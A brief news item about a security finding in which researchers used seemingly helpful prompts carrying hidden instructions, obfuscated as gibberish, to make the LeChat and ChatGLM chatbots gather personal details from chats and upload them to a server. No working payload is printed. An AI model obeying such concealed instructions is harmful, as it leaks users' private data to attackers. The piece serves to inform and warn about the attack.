The Risks of Including Personal Details in AI Chats

Security researchers have discovered a way to instruct AI chatbots to gather personal data from conversations and upload it to a server, raising concerns about privacy and security in AI chats. The researchers tested the method on two large language models, LeChat by French AI company Mistral and Chinese chatbot ChatGLM, and found that users could be offered seemingly helpful prompts which secretly contain malicious instructions obfuscated as gibberish only understandable by the AI. Experts warn that as more people use AI assistants and grant them greater authority over their activities, these kinds of attacks are likely to become more widespread.